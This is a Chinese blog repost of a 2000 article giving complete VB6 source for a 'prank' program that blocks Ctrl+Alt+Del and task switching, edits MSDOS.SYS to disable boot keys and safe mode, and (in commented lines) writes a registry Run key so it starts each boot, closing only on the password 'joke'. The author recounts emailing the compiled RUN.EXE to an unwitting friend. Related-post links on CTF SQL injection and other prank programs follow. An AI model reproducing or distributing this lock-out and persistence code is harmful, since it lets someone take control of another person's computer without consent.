VB==这个玩笑有点酷

原创 2001年03月29日 01:15:00
这个玩笑有点酷
2000-10-18· 不详·yesky

  此程序演示怎样在VB中调用API修改注册表,让程序每次启动都会执行,运用shell函数,操做文本文件,屏蔽系统功能,做出一个能够修改系统的程序(当然能和你的朋友开个玩笑),并且用事件key_press接收密码来关闭程序。

模块中声明:

’创建子键

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
        (ByVal hKey As Long, ByVal lpSubKey As String, _
         phkResult As Long) As Long

’创建键值

Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
        (ByVal hKey As Long, ByVal lpValueName As String, _
         ByVal Reserved As Long, ByVal dwType As Long, _
         lpData As Any, ByVal cbData As Long) As Long

’调用API阻挡功能键

Public Declare Function SystemParametersInfo Lib "user32" Alias _
        "SystemParametersInfoA" (ByVal uAction As Long, _
         ByVal uParam As Long, ByRef lpvParam As Any, _
         ByVal fuWinIni As Long) As Long

’调用API控制shell进程

Public Declare Function GetExitCodeProcess Lib "kernel32" _
        (ByVal hprocess As Long, lpExitCode As Long) As Long

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
        ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

窗体代码如下:

通用 声明

Dim a(3) As Integer
Const spl_screensaverrunning = 97
Const process_query_information = &H400
Const still_active = &H103
Dim hprocess As Long
Dim pad As Long
Dim code As Long

Const HKEY_local_machine = &H80000002
Const regkey = "software/microsoft/windows/currentversion/run"
Const keyvalue = "run.exe"

Dim retvalue As Long
Dim keyid As Long

Private Sub Form_Load()

’API调用阻挡"ctrl+alt+del","ctrl+esc","alt+tab"热键
SystemParametersInfo spl_screensaverrunning, True, ByVal 1&, 0

’因为SHELL的异步执行,外部程序还未完成任务,VB便往下执行,
’会造成文件访问错误,调用API函 数OpenProcess和GetExitCodeProcess
’解决问题,去掉MSDOS.SYS的只读,隐蔽属性

pad = Shell("attrib -h -s -r c:/msdos.sys /s", vbHide)
hprocess = OpenProcess(process_query_information, False, pad)
Do

GetExitCodeProcess hprocess, code
DoEvents

Loop While code = still_active
’修改MSDOS.SYS,给其中添加BOOTKEYS=0,让启动时功能键F5,F8,CTRL,SHIFT失效,
’用户不能进入safemode修改
Open "c:/msdos.sys " For Append As #1
Print #1, "bootkeys=0"
Close #1
Shell "attrib +h +s +r c:/msdos.sys /s", vbHide

End Sub

’修改注册表,在"software/microsoft/windows/currentversion/run" 下创建字符串值"RUN",
’值为"RUN.EXE",让每次启动都会执行
’retvalue = RegCreateKey(HKEY_local_machine, regkey, keyid)
’retvalue = RegSetValueEx(keyid, "run", 0&, 1, ByVal keyvalue, Len(keyvalue) + 1)
’接收密码的ASC码值,密码为joke

Private Sub Form_KeyPress(KeyAscii As Integer)

a(3) = a(2)
a(2) = a(1)
a(1) = a(0)
a(0) = KeyAscii
If a(0) = 101 And a(1) = 107 And a(2) = 111 And a(3) = 106 Then

End

End If

End Sub

’在窗体退出时使三组热键生效

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

SystemParametersInfo spl_screensaverrunning, False, ByVal 1&, 0

End Sub

  以上程序编译为RUN.EXE,在VB6中调试通过,你可以自行在窗体中加入文本框,并且把窗体属 性borderstyle改为0-none,windowstate改为2-maximized,就做出了一个关不掉的程序,并且每次 启动都会执行,我就是通过E-MAIL给朋友发送了这个程序,把朋友惹得非常生气,我在这里郑重的表示道歉,I’m so sorry,please forgive me,Madam you!

VB==这个玩笑有点酷

  • zgqtxwd
  • zgqtxwd
  • 2008年05月01日 05:21
  • 114

这个看起来有点简单!--实验吧

这个看起来有点简单! 手工检测是否存在sql注入(经典id=1'加入单引号提交,结果:如果出现错误提示,则该网站可能就存在注入漏洞) 使用sqlmap爆出当前数据库my_db 发现可能藏有key值...
  • dongyanwen6036
  • dongyanwen6036
  • 2017年08月31日 15:12
  • 589

实验吧ctf-web题:这个看起来有点简单

sql注入,sqlmap,union,information_schema
  • jia304349145
  • jia304349145
  • 2017年08月22日 21:52
  • 806

决斗场 - 实验吧 WEB 这个看起来有点简单!

题目链接:http://www.shiyanbar.com/ctf/33 今天小编在写这道题题解的时候才发现,原来实验吧有这道题的视频讲解。看了一下,视频讲的不是很清楚,而且用的还是sqlm...
  • RaAlGhul
  • RaAlGhul
  • 2017年12月06日 15:05
  • 151

CTF 这个看起来有点简单

这个看起来有点简单分值:10 来源: 西普学院难度:易 很明显。过年过节不送礼,送礼就送这个 格式: 解题链接: http://ctf5.shiya...
  • qq_28409193
  • qq_28409193
  • 2017年05月11日 11:50
  • 1068

实验吧 这个FLAG有点怪 By Assassin

首先感慨一下,感觉自己还是太菜了,这个是2014sctf的RE200,实际是400分的安卓题目,现在做出来其实也是在大佬的提示下完成的,怎么说只能说是分析调出来了,并不算是自己做的,本题过程也很复杂(...
  • qq_35078631
  • qq_35078631
  • 2017年10月11日 22:42
  • 376

玩笑程序

set fso = wscript.createobject("scripting.filesystemobject")set objShell = CreateObject("Wscript.She...
  • z00171071
  • z00171071
  • 2011年04月30日 20:42
  • 200

融资?不要!上市?不急!这个公司有点酷……

一 不介绍的话,估计很少有人会将这位年轻人与企业老板联系在一起。 身着印着公司logo的黑T恤、牛仔裤,戴着黑框眼镜,一开口就乐呵呵的,不时地还挠挠头,说话直接、有问必答,一副“技术男”的...
  • liukecun0614
  • liukecun0614
  • 2017年08月07日 13:51
  • 730

愚人节,电脑给我开了一个玩笑

今天周末,按惯例睡到12点起床,打开窗帘就能迎接到最热烈的阳光。按惯例打开电脑,按惯例乘启动去洗漱。一切都那么正常!等洗漱完了回来就发现电脑已经死机,也没什么大惊小怪的,只是轻轻按了一下reset。坐...
  • jerycn
  • jerycn
  • 2006年05月26日 21:41
  • 718

【原创】玩笑程序2,看看你是否能点中"否"按钮

;;Name    : Dialog1.asm;Function: 玩笑程序,看看你是否能点中"否"按钮;Author  : Purple Endurer;Version : 0.1 ;-------...
  • Purpleendurer
  • Purpleendurer
  • 2005年07月02日 18:56
  • 2907
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:VB==这个玩笑有点酷
举报原因:
原因补充:

(最多只允许输入30个字)